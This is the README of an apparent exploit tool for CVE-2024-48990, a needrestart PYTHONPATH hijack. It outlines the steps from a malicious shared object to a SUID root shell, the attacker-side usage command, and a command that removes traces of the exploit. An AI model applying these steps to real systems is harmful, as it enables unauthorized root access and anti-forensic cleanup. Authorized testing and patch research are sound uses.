CVE-2024-48990 PYTHONPATH Hijack - Privilege Escalation Exploit

This tool automates the exploitation of a privilege escalation vulnerability in needrestart version 3.7, identified as CVE-2024-48990.
It achieves root execution by leveraging the insecure use of the PYTHONPATH environment variable when needrestart scans Python processes.

Summary

The exploit works by:

1. Compiling a malicious shared object (__init__.so) that is triggered on import.
2. Serving the .so via a local HTTP server.
3. Connecting to the target via SSH and preparing a malicious PYTHONPATH environment.
4. Launching a Python bait process that continuously imports importlib.
5. Running needrestart, which inherits the manipulated PYTHONPATH, loads the malicious module, and executes the payload as root.
6. The payload creates a SUID binary (/tmp/poc), allowing root shell access.

Usage

Run the exploit from your attacker machine:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

Parameters:

• --user SSH username on the target
• --host Target IP address
• --att-ip Attacker IP (used for hosting the payload)
• --ssh-pass SSH password (omit if using SSH keys)
• --http-port Optional HTTP port (default: 8000)

CVE

• CVE ID: CVE-2024-48990
• Affected Software: needrestart version 3.7
• Vulnerability Type: Insecure environment variable handling
• Impact: Local privilege escalation to root

Cleanup

To remove exploit traces from the target:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

Requirements

Attacker machine:

• Python 3
• pexpect (pip3 install pexpect)
• gcc (for compiling the payload)
• Open SSH access to the target
• python3 -m http.server (automatically started by the script)

Target machine:

• A vulnerable version of needrestart (v3.7)
• A non-root user with sudo NOPASSWD rights for /usr/sbin/needrestart
• Python 3 and curl installed

Disclaimer

This tool is provided for educational and authorized security testing purposes only. Do not use it on systems you do not own or without explicit permission.